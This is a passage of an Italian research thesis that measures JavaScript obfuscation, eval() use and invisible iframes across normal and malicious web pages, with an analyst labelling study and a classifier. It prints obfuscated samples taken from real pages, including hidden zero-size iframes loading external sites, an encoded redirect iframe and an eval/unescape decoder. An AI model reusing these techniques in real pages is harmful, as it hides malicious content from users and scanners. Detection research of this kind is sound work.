a7044oe.
    • 43 La nostra analisi sull’offuscamento Tabella 5.1: Propriet` e relative condizioni di offuscamento a Propriet` a 1a Cond 2a Cond 3a Cond 4a Cond Function name Length>5 p >50% Document.write Length>0 p >70% Iframe Length>0 visibility=hidden width<2 height<2 p >70% Variable name Length>5 p >50% Variable content Length>5 p >70% Long string Length>140 percentage of p >70% punctuation chars<5% Eval Length>0 p >70% Unescape Length>0 p >70% Decode Length>0 p >70% Onerror Length>0 p >70% Exec Length>0 p >70% String.fromCharCode Length>0 p >70% String.charCodeAt Length>0 p >70% Math.random Length>0 p >70%
    • 5. Offuscamento 44 5.9.3.3 Variabile con argomento offuscato 1 var ne07614 =[ " 128 " , " 139 " , " 127 " , " 145 " , " 137 " , " 129 " , " 138 " , " 144 " , " 74 " , " 131 " , " 129 " , " 144 " , " 97 " , " 136 " , " 129 " , " 137 " , " 129 " , " 138 " , " 144 " , " 94 " , " 149 " , " 101 " , " 128 " , " 68 " , " 62 " , " 144 " , " 139 " , " 140 " , " 137 " , " 129 " , " 138 " , " 145 " , " 79 " , " 79 " , " 82 " , " 62 " , " 69 " , " 74 " , " 143 " , " 144 " , " 149 " , " 136 " , " 129 " , " 74 " , " 128 " , " 133 " , " 143 " , " 140 " , " 136 " , " 125 " , " 149 " , " 60 " , " 89 " , " 60 " , " 62 " , " 138 " , " 139 " , " 138 " , " 129 " , " 62 " , " 87 " , " 128 " , " 139 " , " 127 " , " 145 " , " 137 " , " 129 " , " 138 " , " 144 " , " 74 " , " 131 " , " 129 " , " 144 " , " 97 " , " 136 " , " 129 " , " 137 " , " 129 " , " 138 " , " 144 " , " 94 " , " 149 " , " 101 " , " 128 " , " 68 " , " 62 " , " 144 " , " 139 " , " 140 " , " 137 " , " 129 " , " 138 " , " 145 " , " 79 " , " 79 " , " 82 " , " 62 " , " 69 " , " 74 " , " 143 " , " 144 " , " 149 " , " 136 " , " 129 " , " 74 " , " 146 " , " 133 " , " 143 " , " 133 " , " 126 " , " 133 " , " 136 " , " 133 " , " 144 " , " 149 " , " 60 " , " 89 " , " 60 " , " 62 " , " 132 " , " 133 " , " 128 " , " 128 " , " 129 " , " 138 " , " 62 " , " 87 " ]; Codice 5.19: Argomento offuscato di una variabile 5.9.3.4 document.write() con argomento offuscato 1 document . write ( ’ < ahref = " http :// www .51. la /?002347044 " target = " _blank " title = " &# x35 ;&# x31 ;&# x2E ;&# x6C ;&# x61 ;&# x20 ;&# x4E13 ;&# x4E1A ;&# x3001 ;&# x514D ;&# x8D39 ;&# x3001 ;&# x5F3A ;&# x5065 ;&# x7684 ;&# x8BBF ;&# x95EE ;&# x7EDF ;&# x8BA1 ; " > &# x7F51 ;&# x7AD9 ;&# x7EDF ;&# x8BA1 ; </ a > n ’) Codice 5.20: Argomento offuscato di un document.write() 5.9.3.5 iframe con argomento offuscato 1 < iframe > id = " baiduframe " marginwidth = " 0 " marginheight = " 0 " scrolling = " no " " ) ; document . writeln ( " framespacing = " 0 " vspace = " 0 " hspace = " 0 " frameborder = " 0 " width = " 0 " height = " 0 " " ) ; document . writeln ( " src = " http :// unstat . baidu . com / bdun . bsc ? tn = jswindows_pg & cv =1& cid =216992& csid =242& bgcr = ffffff & ftcr =000000& urlcr =0000 ff & tbsz =335& sropls =1 ,2 ,3 ,4 ,5 ,6& kwgp =0 " >" ) ; </ iframe > Codice 5.21: Argomento offuscato di un iframe 5.9.3.6 iframe invisibile 1 < iframe src = " http :// pcjava . persiangig . ir / random / New %20 Text %20 Document . html " width =00 height =00 marginwidth =0 marginheight =0 hspace =0 vspace =0 frameborder =0 scrolling = " no " > </ iframe > Codice 5.22: iframe con gli attributi width e height nulli
    • 45 La nostra analisi sull’offuscamento 5.9.3.7 Stringa con argomento offuscato 1 c = T .7 y () ;1 e ( c .1 A +29.2 f (1 Q .1 C .2 e ,1 Q .1 c .2 e ) ,c .1 S +29.2 f (1 Q .1 C .2 c ,1 Q .1 c .2 c ) ) ;1 e ( -1 Q .1 C .6 b , -1 Q .1 C .6 a ) } N {1 e ( T .5 X , T .5 W ) ;1 B (1 s ) {1 e (1 s .5 X ,1 s .5 W ) ; G (42&&!/^ t (98| d | h ) $ / i .11(1 s .2 j ) ||2 k &&!5 U ) 2 C (1 s ) ; G (!3 c &&1 g (1 s , " 30 " ) == " 3 c " ) 3 c = M ;4 a =/^1 c$ / i .11(1 s .2 j ) ?4 a :1 s ;1 s =1 s .1 s }1 B ( d && d .2 j &&!/^1 c |2 K$ / i .11( d .2 j ) ) { G (!/^96|1 T .* $ / i .11(1 g (d , " 18 " ) ) ) 1 e ( - d .2 e , - d .2 c ) ; G (42&&1 g (d , " 33 " ) != " 4 j " ) 2 C ( d ) ; d = d .1 d } G ((5 U &&(3 c ||1 g (4 a , " 30 " ) == " 5 x " ) ) ||(42&&1 g (4 a , " 30 " ) != " 5 x " ) ) 1 e ( -1 Q .1 c .5 X , -1 Q .1 c .5 W ) ; G (3 c ) 1 e (29.2 f (1 Q .1 C .2 e ,1 Q .1 c .2 e ) ,29.2 f (1 Q .1 C .2 c ,1 Q .1 c .2 c))} Codice 5.23: Argomento offuscato di una stringa 5.9.3.8 Stringa lunga priva di punteggiatura rcDF60rcDF105rcDF102rcDF114rcDF97rcDF109rcDF101rcDF32rcDF119rcDF10 5 rcDF100rcDF116rcDF104rcDF61rcDF34rcDF52rcDF56rcDF48rcDF34rcDF32rc DF104rcDF101rcDF105rcDF103rcDF104rcDF116rcDF61rcDF34rcDF54rcDF48rc DF34rcDF32rcDF115rcDF114rcDF99rcDF61rcDF34rcDF104rcDF116rcDF116rcD F112rcDF58rcDF47rcDF47rcDF115rcDF101rcDF110rcDF100rcDF50rcDF57rcDF 57 r c D F 5 1 r c D F 4 9 r c D F 4 6 r c D F 9 9 r c D F 1 1 0 r c D F 4 7 r c D F 1 1 6 r c D F 1 1 4 r c D F 9 7 r c D F 1 0 2 rcDF102rcDF47rcDF105rcDF110rcDF46rcDF99rcDF103rcDF105rcDF63rcDF50r cDF34rcDF32rcDF115rcDF116rcDF121rcDF108rcDF101rcDF61rcDF34rcDF98rc DF111rcDF114rcDF100rcDF101rcDF114rcDF58rcDF48rcDF112rcDF120rcDF59r cDF32rcDF112rcDF111rcDF115rcDF105rcDF116rcDF105rcDF111rcDF110rcDF5 8 rcDF114rcDF101rcDF108rcDF97rcDF116rcDF105rcDF118rcDF101rcDF59rcDF 32 r c D F 1 1 6 r c D F 1 1 1 r c D F 1 1 2 r c D F 5 8 r c D F 4 8 r c D F 1 1 2 r c D F 1 2 0 r c D F 5 9 r c D F 3 2 r c D F 1 08 r c D F 1 0 1 r c D F 1 0 2 r c D F 1 1 6 r c D F 5 8 r c D F 4 5 r c D F 5 3 r c D F 4 8 r c D F 4 8 r c D F 1 1 2 r c D F 1 2 0 rcDF59rcDF32rcDF111rcDF112rcDF97rcDF99rcDF105rcDF116rcDF121rcDF58 rcDF48rcDF59rcDF32rcDF102rcDF105rcDF108rcDF116rcDF101rcDF114rcDF58 rcDF112rcDF114rcDF111rcDF103rcDF105rcDF100rcDF58rcDF68rcDF88rcDF73 rcDF109rcDF97rcDF103rcDF101rcDF84rcDF114rcDF97rcDF110rcDF115rcDF10 2 rcDF111rcDF114rcDF109rcDF46rcDF77rcDF105rcDF99rcDF114rcDF111rcDF1 15 r c D F 1 1 1 r c D F 1 0 2 r c D F 1 1 6 r c D F 4 6 r c D F 6 5 r c D F 1 0 8 r c D F 1 1 2 r c D F 1 0 4 r c D F 9 7 r c D F 40 r c D F 1 1 1 r c D F 1 1 2 r c D F 9 7 r c D F 9 9 r c D F 1 0 5 r c D F 1 1 6 r c D F 1 2 1 r c D F 6 1 r c D F 4 8 r c D F 4 1 rcDF59rcDF32rcDF45rcDF109rcDF111rcDF122rcDF45rcDF111rcDF112rcDF97 rcDF99rcDF105rcDF116rcDF121rcDF58rcDF48rcDF34rcDF62rcDF60rcDF47rcD Codice 5.24: Argomento offuscato di una stringa lunga 5.9.3.9 eval() con argomento offuscato 1 eval ( unescape ( ’ function %20 AGAHlA %28 SCSL %29%7 BR_GHH %3 Dnew %20 String %28 arguments . callee %29. replace %28/%5 B %5 E@a - z0 -9 A - Z_ .%5 D / g %2 C %27%27%29%2 CH_ShH %3 D %27%27%2 CAsRG %3 D -1%2 CASaIS_ %3 D -1%3 Bvar %20 HpCh %3 D0 %3 Bfor %28 AsRG %3 D0 %3 BAsRG %3 CR_GHH . length %3 BAsRG ++%29 HpCh
    • 5. Offuscamento 46 %5 E %3 DR_GHH . charCodeAt %28 AsRG %29%3 BAsRG %3 D -1%3 Bwhile %28++ ASaIS_ %3 CSCSL . length %29%7 Bif %28 AsRG %3 D %3 DR_GHH . length %29 AsRG %3 D0 %3 Belse %20 AsRG ++%3 BH_ShH +%3 DString . fromCharCode %28 HpCh %5 ESCSL . charCodeAt %28 ASaIS_ %29%5 ER_GHH . charCodeAt %28 AsRG %29%29%3 B %7 Ddocument . write %28 H_ShH %29%3 BH_ShH %3 D %27%27%3 Breturn %3 B %7 D ’) ) ; Codice 5.25: Argomento offuscato di un eval() 5.9.3.10 unescape() con argomento offuscato 1 unescape ( " %3 Ciframe %20 name %3 D %22 adprotest %22%20 width %3 D %22 " + wi + " %22%20 height %3 D %22 " + he + " %22%20 frameborder %3 D %220%22%20 src %3 D %22 http %3 A // scripts . chitika . net / static / adpro . html %22%20 marginwidth %3 D %220%22%20 marginheight %3 D %220%22%20 vspace %3 D %220%22%20 hspace %3 D %220%22%20 al lowtra nspare ncy %3 D %22 true %22%20 scrolling %3 D %22 no %22%3 E %3 C / iframe %3 E " ) Codice 5.26: Argomento offuscato di un unescape() Scrutando la stringa contenuta all’interno dell’unescape(), si pu` notare come venga o definito un iframe che punta all’url http://scripts.chitika.net/static/adpro.html. 5.9.4 Il test con gli analisti Dalla tabella degli script Ts , descritta al paragrafo 4.1.1 di pagina 19, si ` estratto un e sottoinsieme delle righe per comporre la tabella Ts . La tabella Ts risulta quindi essere formata da 1000 righe. Essa ` stata progettata in e modo tale da non presentare righe con codice dello script uguale. Inoltre, per popolare Ts si ` cercato di rispecchiare la distribuzione del contenuto della tabella Ts , tenendo e conto della distribuzione di script secondo il tipo di pagina e il tipo di script e della dimensione del corpo dello script. Successivamente si ` costituito un panel di 77 analisti JavaScript. Gli analisti sono e stati selezionati fra gli studenti del corso di laurea specialistica in Ingegneria Informatica e fra i collaboratori del laboratorio di Reti di Calcolatori dell’Universit` di Trieste. a Le fasi del test, cui sono stati sottoposti i soggetti, si possono cos` elencare: ı • durante una fase propedeutica al test, il partecipante ha risposto ad alcune do- mande volte a quantificare il livello inividuale di esperienza circa l’argomento; • quindi al soggetto sono stati proposti 100 script scelti in maniera casuale dalla tabella Ts ; • per ogni script l’analista ` stato invitato a rispondere alla domanda “Ritieni che e questo codice sia offuscato (anche solo parzialmente)?”. La risposta doveva rien- trare tra una delle seguenti opzioni: S` No, Non so. ı,
    • 47 Due criteri di offuscamento per gli script A partire dai risultati del test ` stata costruita un’ulteriore tabella, Ts , con una riga e per ogni script catalogato in Ts (dunque 1000 righe) e tre colonne con i risultati emersi dal test con gli analisti, definite ripettivamente s` no e non so. Considerata la riga ı, n-esima, la prima delle tre colonne riporta il numero di analisti che ha definito offuscato l’n-esimo script di Ts , la seconda il numero di analisti che ha considerato tale script non offuscato mentre la terza colonna contiene il numero di analisti che non si sono esposti relativamente all’n-esimo script. Da Ts sono state eliminate tutte quelle righe riguardanti gli script con meno di due giudizi (1 o 0) o senza una maggioranza netta per uno dei due casi, s` o no. ı Lungo il prossimo elenco si riportano, nello specifico, i dati del test svolto dai 77 analisti sui 1000 script selezionati: • script valutati: 893; • script non valutati: 107. Gli 893 script valutati si possono distinguere in: • script con nessun o un giudizio: 202; • script con pi` di un giudizio: 691. u I 691 script con pi` di un giudizio si possono separare in: u • script con maggioranza di favore nel giudizio: 561 (cio` script per i quali almeno e il 50% degli analisti ha risposto alla domanda con un S` o con un No); ı • script senza maggioranza di favore nel giudizio: 130. Fra i 130 script senza maggioranza di favore nel giudizio si individuano: • 81 script per i quali gli analisti hanno risposto all’unanimit` con l’opzione Non so. a Alla fine di tutto ci`, dunque, Ts comprendeva 561 script. Per ciascuno dei 561 script o ` stata calcolata la percentuale di analisti che ha fornito giudizio comune. Analizzando e questi dati, riportati in Tabella 5.2 a pagina 48, si riscontra che per il 66% degli script in Ts la totalit` degli analisti, esaminatrice di quegli script, ha fornito lo stesso giudizio, a d’altro canto in quasi il 18% dei casi la percentuale di giudizi comuni rimane fra il 51% e il 67% delle valutazioni. Ts ha rappresentato il ground truth per alcune delle considerazioni successive. 5.10 Due criteri di offuscamento per gli script Per stabilire quali degli script presenti in tabella Ts fossero offuscati, sono state seguite due strade, ognuna delle quali ha associato a ciascuno script un bit di offuscamento. Entrambi i criteri sono basati su un insieme di features ottenute dall’analisi degli script.
    • 5. Offuscamento 48 Tabella 5.2: Percentuali di giudizi comuni associate agli script Numero Range di percentuali Percentuale di script in Ts di preferenze comuni di script in Ts 100 51% 67% 17, 83% 73 70% 80% 13% 16 83% 90% 2, 85% 372 100% 66, 32% Totali 561 100% Con il termine feature si indica il numero di items, compresi nell’insieme associato ad una particolare propriet` estratta dallo script, che soddisfa il criterio di offuscamento a per quella propriet`. a In Tabella 5.3 a pagina 49 si riporta l’elenco delle features con relativa descrizione. In primo luogo si ` deciso di costruire un classificatore Multilayer Perceptron sulla e base dei 561 script che rappresentano la ground truth ottenuta dai risultati degli anali- sti. Il Multilayer Perceptron (MLP) ` un modello di rete neurale che mappa i dati di e ingresso forniti su dati di uscita appropriati. Esso comprende uno strato di neuroni di ingresso, almeno uno strato di neuroni interno e uno strato di neuroni di uscita; la rete `e completamente interconnessa e riceve valori continui, ha una funzione di ingresso somma e funzioni di attivazione solitamente non lineari. I parametri del classificatore sono stati settati in modo da minimizzare la somma di falsi positivi e falsi negativi sugli script di Ts . Il classificatore ` stato poi applicato a tutti gli script di Ts , fornendo a ciascuno un e primo bit di offuscamento. Il secondo bit di offuscamento, invece, ` stato ricavato imponendo delle soglie: e • nella maggior parte dei casi, sulle features relative alle propriet` estratte dallo a script e risultate offuscate secondo i criteri elencati in Tabella 5.1 (ad esempio sul numero di function con nome offuscato, oppure sul numero di document.wite(), iframe, eval(), unescape(), onerror(), exec() e decode() con argomento offuscato); • per cinque propriet` (Eval, Unescape, String.fromCharCode, String.CharCodeAt, a Math.random) la soglia ` stata imposta sul numero di occorrenze estratte (senza e aver applicato il criterio dell’offuscamento sulle propriet`); a • un’ulteriore soglia ` stata riservata al numero di occorrenze di eval() con argo- e mento di dimensioni superiori ai 140 caratteri. Qualora la feature di una propriet` superi la soglia ad essa assegnata, lo script viene a marchiato come offuscato. Le soglie sono state scelte sulla base di osservazioni condotte su script ritenuti da noi visibilmente offuscati.
    • 49 Due criteri di offuscamento per gli script Tabella 5.3: Features Nome della feature Descrizione Number of Obfuscated numero di funzioni Function name con nome offuscato Number of Obfuscated numero di document.write() Document.write con argomento offuscato Number of Obfuscated numero di iframe Iframe con argomento offuscato o “invisibili” Number of Obfuscated numero di variabili Variable name con nome offuscato Number of Obfuscated numero di variabili Variable content con argomento offuscato Number of Obfuscated numero di stringhe superiori ai 140 caratteri Long String con argomento offuscato Number of numero di occorrenze Eval di eval() Number of Obfuscated numero di eval() Eval con argomento offuscato Number of numero di eval() Eval with long argument con argomento superiore ai 140 caratteri Number of numero di occorrenze Unescape di unescape() Number of Obfuscated numero di unescape() Unescape con argomento offuscato Number of Obfuscated numero di decode() Decode con argomento offuscato Number of Obfuscated numero di onerror() Onerror con argomento offuscato Number of Obfuscated numero di exec() Exec con argomento offuscato Number of numero di occorrenze String.fromCharCode di String.fromCharCode() Number of numero di occorrenze String.charCodeAt di String.charCodeAt() Number of numero di occorrenze Math.random di Math.random() La Tabella 5.4 a pagina 50 per ogni feature riporta la soglia che deve essere superata affinch` lo script venga ritenuto offuscato. Mentre la prima colonna di ogni riga descrive e il nome della feature, la seconda contiene la relativa soglia.
    • 5. Offuscamento 50 Se almeno una feature supera la soglia, lo script risulta offuscato. Tabella 5.4: Soglie sulle features per il secondo bit di offuscamento dello script Feature Soglia Number of Obfuscated Function name 0 Number of Obfuscated Document.write 0 Number of Obfuscated Iframe 0 Number of Obfuscated Variable name 4 Number of Obfuscated Variable content 4 Number of Obfuscated Long String 0 Number of Eval 2 Number of Obfuscated Eval 0 Number of Eval with long argument 0 Number of Unescape 2 Number of Obfuscated Unescape 0 Number of Obfuscated Decode 0 Number of Obfuscated Onerror 0 Number of Obfuscated Exec 0 Number of String.fromCharCode 4 Number of String.charCodeAt 4 Number of Math.random 4
    • Capitolo 6 Analisi Lungo questo capitolo vengono esposti i risultati emersi dall’analisi condotta sui dati in nostro possesso con l’obiettivo di rispondere ai cinque macroquesiti delineati nella sezione 2.6.1 di pagina 12. Per alcune delle domande si ` risposto procedendo con una serie di interrogazioni e sulle informazioni contenute all’interno della tabella degli script, Ts , e della tabella dei frame e degli iframe Ti . In altri casi, invece, sono state svolte delle elaborazioni sulle propriet` estratte. a Il capitolo ` organizzato secondo l’ordine delle cinque domande. In ciascuna sezione e vengono esaminati i risultati dell’analisi circa il rispettivo quesito citando dati puntali o fornendo grafici esplicativi. 6.1 Caratterizzazione generale Prima di entrare nel vivo dei cinque macroquesiti, si ` ritenuto opportuno fornire una e caratterizzazione generale relativa all’uso attuale di script JavaScript nelle pagine web. 6.1.1 Caratterizzazione a livello pagina Inizialmente abbiamo voluto indagare sulla distribuzione degli script per pagina. Nello specifico ci siamo chiesti quanti script fossero mediamente inclusi all’interno delle pagine web e quale fosse la dimensione totale degli script presenti nelle varie pagine. Il grafico 6.1(a) illustra l’inclusione di script nelle pagine di tipo Normal, mentre il grafico 6.1(b) si riferisce alle pagine Malicious. Nei grafici l’andamento complessivo degli script (senza distinzione fra le varie tipo- logie) ` rappresentato da una linea rossa, l’andamento degli Embedded Script si evince e dalla linea verde mentre quello dei Child Script dalla linea azzurra ed infine la linea viola riporta l’andamento degli Intrinsic Event. 51
    • 6. Analisi 52 Mediamente le pagine Normal includono un numero di script superiore rispetto alle pagine Malicious e alle pagine Interesting, delle quali non si riporta il grafico perch` e simile a quello in figura 6.1(b). (a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious Figura 6.1: Grafici di distribuzione sul numero di script inclusi per pagina Nella coppia di grafici di Figura 6.2 in ascissa ` riportata la somma delle dimensioni e degli script contenuti in una pagina mentre in ordinata ` presente il numero di pagine e per le quali la somma delle dimensioni degli script inclusi ` pari alla rispettiva ascissa. e (a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious Figura 6.2: Grafici di distribuzione cumulativa sulla somma delle dimensioni degli script per pagina Si pu` notare come nella pagine Normal gli script caratterizzati da dimensioni mag- o giori appartengano alla tipologia Child, quindi definiti all’esterno della pagina web, mentre nelle pagine Malicious gli script pi` corposi siano gli Embedded. u
    • 53 Inclusione di script da url diversi Come si poteva presupporre gli Intrinsic Event sono contraddistinti dalle dimensioni minori, infatti nella maggior parte dei casi essi racchiudono solamente un comando (ad esempio l’apertura di una finestra scatenata da uno specifico click del mouse). 6.1.2 Caratterizzazione a livello script Dall’analisi generale sulle pagine si ` voluto scendere a livello script. e Nei grafici successivi si pu` apprezzare meglio quanto affermato nella sezione pre- o cedente, in termini di relazione fra dimensione degli script, classe degli script e tipo di pagina. Nella coppia di grafici di Figura 6.3 in ascissa ` riportata la dimensione in caratteri e dello script mentre in ordinata ` presente il numero di script con dimensione pari a quella e della rispettiva ascissa. L’andamento delle dimensioni degli script nelle pagine Interesting ` nuovamente e molto simile a quello illustrato dal grafico di Figura 6.3(b). (a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious Figura 6.3: Grafici di distribuzione cumulativa sulla dimensione degli script in caratteri 6.2 Inclusione di script da url diversi Nel rispondere alla prima delle cinque domande ` emerso come l’inclusione di script e da domini diversi sia una pratica frequente nelle pagine Normal. Infatti, quasi il 90% delle pagine afferenti a questa categoria include Embedded Script, probabilmente tramite iframe, da almeno un altro dominio, il 20% presenta Child Script provenienti da due domini diversi ed infine, in poco meno del 10% di pagine, sempre i Child Script sono inclusi da tre domini differenti. Come si pu` notare dal grafico di Figura 6.4(a), il numero di url diversi non si ferma o per` a tre, infatti, seppur minima, esiste una percentuale di pagine che punta a cinque o diversi domini per includere script.
    • 6. Analisi 54 Mentre nelle pagine Interesting non si riscontrano inclusioni di script da altri domini, nelle pagine Malicious il fenomeno ` presente ma limitato rispetto al contesto delle pagine e Normal. Infatti, in questo caso, gi` considerando due domini diversi la percentuale di a pagine diventa irrisoria. Nella coppia di grafici di Figura 6.4 al numero di domini diversi per l’inclusione di script viene associato il rispettivo numero di pagine. (a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious Figura 6.4: Grafici di distribuzione sull’inclusione di script da domini diversi 6.3 Massima profondit` di inclusione degli script a Con la seconda domanda si ` voluto approfondire la questione circa la profondit` del- e a l’inclusione degli script. Tale profondit` si pu` ricavare analizzando la lista degli URL appartenenti alla se- a o quenza di download dello script (contenuta nel campo List of HTTP redirection for the script della tabella Ts e descritto al paragrafo 4.1.1 di pagina 19). La profondit` ` stata osservata sia considerando che non considerando il numero delle ae possibili redirezioni riscontrate lungo l’elenco di URL dello scaricamento. 6.3.1 Massima profondit` osservata a livello pagina a Analizzando la massima profondit`, senza considerare i redirect, si evince che solo il 15% a delle pagine Normal presenta esclusivamente script con una profondit` massima unitaria, a quindi script definiti all’interno della pagina (Local Embedded Script e Local Intrinsic Event), mentre nella maggior parte delle pagine la profondit` massima raggiunta ` pari a e a due. Come si pu` rilevare dal grafico 6.5(a) il valore pi` elevato di profondit` massima o u a raggiunta da pagine di tipo Normal ` pari a quattro mentre si ferma a due sia nel caso e delle Malicious (vedi il grafico 6.5(b)) che nel caso delle Interesting.
    • 55 Massima profondit` di inclusione degli script a (a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious Figura 6.5: Grafici di distribuzione sulla massima profondit` senza redirezioni per il numero di a pagine Se si vanno a considerare anche le redirezioni, nel grafico 6.6(a) si nota come esista qualche caso di pagina Normal che include script con profondit` massima pari a dodici. a Tale profondit` risulta essere doppia rispetto a quella evidenziata nel grafico 6.6(b) per le a pagine Malicious. Nelle pagine Interesting la situazione ` analoga al caso senza redirect. e (a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious Figura 6.6: Grafici di distribuzione sulla massima profondit` con redirezioni per il numero di a pagine
    • 6. Analisi 56 6.3.2 Massima profondit` osservata a livello script a Scendendo al livello dello script, si ` deciso di associare alla profondit` massima la e a relativa percentuale di script. Inizialmente tale percentuale ` stata calcolata sul numero e assoluto di script mentre in un secondo momento ` stata calcolata sulle dimensioni degli e script. Se si considera la percentuale sul numero degli script, dal grafico 6.7(a) si desume che quasi l’85% degli script presenti nelle pagine Normal ` contraddistinto da livello di e profondit` pari a uno, si tratta quindi di script definiti all’interno della pagina, mentre a solamente il 13% circa ` caratterizzato da livello di profondit` uguale a due e cos` a e a ı scemare per gli altri due livelli. Questa differenza netta fra il primo e il secondo livello di profondit` in termini di a percentuali sul numero di script ` pi` smussata ma ancora chiara nelle altre due tipologie e u di pagine. Sia per quanto riguarda le pagine Malicious che le pagine Interesting, infatti, la percentuale di script con profondit` massima unitaria ` pari al 70% mentre scende al a e 30% se si considera il secondo livello di profondit`. a (a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious Figura 6.7: Grafici di distribuzione sulla massima profondit` senza redirezioni per la percentuale a di script calcolata sulla numero assoluto degli stessi Se si considera la percentuale calcolata sulla dimensione degli script, la situazione non varia eccessivamente nel caso delle pagine Malicious (infatti la profondit` unitaria a passa dal 70% al 60% e quella al secondo livello dal 30% passa al 36%, come si deduce dal grafico 6.8(b)), mentre subisce letteralmente una trasformazione nel caso delle altre due categorie di pagine. Il grafico 6.8(a) mette in luce che pi` dell’85% del codice incluso u nelle pagine Normal ha profondit` massima di livello due. Questa variazione di tendenza a ` spiegata dai Child Script presenti nelle pagine Normal. Infatti, come gi` illustrato nel e a grafico 6.3(a), sebbene i Child Script siano numericamente inferiori agli Embedded Script sono nettamente pi` corposi rispetto a questi. Nelle pagine Interesting la percentuale u
    • 57 Utilizzo di eval() associata al secondo livello di profondit` sale addirittura al 90%, mentre il restante 10% a ` coperto dagli script a profondit` unitaria. e a (a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious Figura 6.8: Grafici di distribuzione sulla massima profondit` senza redirezioni per la percentuale a di script calcolata sulla dimensione degli stessi Bench´ i grafici precedenti facciano tutti riferimento al livello di profondit` che non e a contempla il numero di redirect, la situazione si mantiene analoga nel caso in cui si considerino anche le redirezioni. 6.4 Utilizzo di eval() Per rispondere al quarto macro quesito sono stati esaminati tre diversi impieghi del- la funzione eval(), procedendo al confronto fra le tipologie di pagine e fra le diverse categorie di script all’interno delle pagine. Nel seguito sono riportati i grafici a barre relativi l’utilizzo di eval(). In ciascun grafico la prima barra rappresenta la totalit` delle pagine, la seconda si riferisce alle sole a pagine Normal, la terza a quelle Malicious e infine l’ultima alle Interesting. Ogni barra a sua volta ` suddivisa in sezioni tramite le quali si distinguono le diverse categorie di e script. 6.4.1 Diffusione generale dell’utilizzo di eval() Se si esaminano le pagine senza suddivisione per tipologia, dal grafico 6.9 di pagina 58 si evince che nel 2,8% degli script ` presente la funzione eval(), percentuale che cresce e notevolmente nel caso delle pagine Malicious e Interesting. Inoltre si pu` notare come l’utilizzo di eval() differisca fra le varie pagine anche o considerando la tipologia degli script. Infatti, mentre nella pagine Interesting e, soprat- tutto, Normal la maggior parte degli script contenenti eval() fa parte della categoria
    • 6. Analisi 58 Child Script, nelle pagine Malicious l’uso della funzione in esame ` predominante negli e Embedded Script. Figura 6.9: Grafico a barre sull’utilizzo di eval() 6.4.2 Diffusione dell’utilizzo di eval() con argomento lungo L’uso di eval() negli Embedded Script delle pagine Malicious ` ancora pi` evidente e u se si prende in considerazione l’utilizzo di tale funzione con argomento di dimensioni maggiori ai 140 caratteri (vedi grafico 6.10). Infatti, se nelle pagine Normal la ripartizione dell’uso di questo tipo di eval() fra le categorie di script ` simile al caso generale, nelle e pagine Malicious la totalit` degli script contenti questo genere di eval() ` costituita a e da Embedded Script. Inoltre, si pu` osservare come nelle pagine Interesting non siano o presenti script che utilizzino eval() con argomento di grosse dimensioni. Figura 6.10: Grafico a barre sull’utilizzo di eval() con argomento superiore a 140 caratteri
    • 59 Utilizzo di iframe sospettosamente piccoli 6.4.3 Diffusione dell’utilizzo di eval() con argomento offuscato Soffermandosi, invece, sull’utilizzo di eval() con contenuto offuscato (come definito nella sezione 5.9.2 di pagina 41), la situazione, illustrata nel grafico 6.11, rimane pres- soch´ invariata ripetto alla precedente per le pagine Normal e Malicious mentre subisce e un’inversione di tendenza per le pagine Interesting. Figura 6.11: Grafico a barre sull’utilizzo di eval() con argomento offuscato 6.5 Utilizzo di iframe sospettosamente piccoli A questa quarta domanda ` stato possibile rispondere in maniera esaustiva esclusivamen- e te per il caso delle pagine Normal, poich´ nel nostro dataset il numero di pagine Malicious e contenenti iframe risulta essere insignificante e si riduce a zero se si considerano le pagine Interesting. Si ` proceduto interrogando la tabella Ti dei frame e degli iframe in modo tale da e ottenere frame e iframe con entrambi gli attributi, width e height, minori di 3 pixel. Nel grafico 6.12 a pagina 60 la linea azzurra indica l’inclusione di “piccoli” iframe Script Embedded, dunque gli iframe contenuti nel corpo di uno script, mentre la linea verde rappresenta l’inclusione all’interno del codice HTML della pagina di “piccoli” frame e iframe (gli HTML Embedded ). Come si pu` notare, osservando il grafico 6.12, l’8,5% delle pagine Normal include o un frame o un iframe praticamente invisibile, il 3% delle pagine ne include due, l’1% tre. Seppur minima esiste addirittura una percentuale di pagine che arriva ad includerne fino a sedici.
    • 6. Analisi 60 Figura 6.12: Grafico di distribuzione sull’utilizzo di iframe con dimensioni minori di 3px * 3px per la percentuale di pagine Normal 6.6 Utilizzo di tecniche di offuscamento La questione attorno all’offuscamento, come era presumibile, si ` rivelata la pi` spinosa e u da affrontare. Allo stato attuale non esistono ancora dei rivelatori automatici di offuscamento e i nostri due approcci al problema hanno mostrato risultati differenti. La strada intrapresa ultilizzando il classificatore costruito sulla ground truth ottenuta dai giudizi degli analisiti (vedi le sezioni 5.9.4 di pagina 46 e 5.10 di pagina 47) ` apparsa e pi` conservativa rispetto a quella in cui l’offuscamento degli script ` stato determinato u e tramite il metodo delle soglie (descritto nella seconda parte della sezione 5.10). Infatti, osservando nel dettaglio alcuni degli script che risultano offuscati, ` stato notato come e il primo classificatore ne individui meno rispetto al secondo basato sulle soglie. D’altro canto, per`, il primo presenta anche un minor numero di falsi positivi i quali si verificano o nel momento in cui uno script non offuscato viene erroneamente considerato tale. La difficolt` riscontrata nel tentativo di realizzare un rivelatore automatico di of- a fuscamento ` tanto pi` giustificata se si considera che per quasi il 19% dei 691 script e u valutati per il test, gli analisti hanno fornito giudizi discordanti o non hanno saputo esporsi. Inoltre, per ben il 12% dei 691 script (cio` 81 script) gli analisti si sono espressi e all’unanimit` con l’opzione Non so alla domanda Ritieni che questo codice sia offuscato a (anche solo parzialmente)? Inoltre come descritto in Tabella 5.2 a pagina 48, per quasi il 18% degli script uti- lizzati per costruire il classificatore MLP, la percentuale in favore del giudizio ` inferiore e
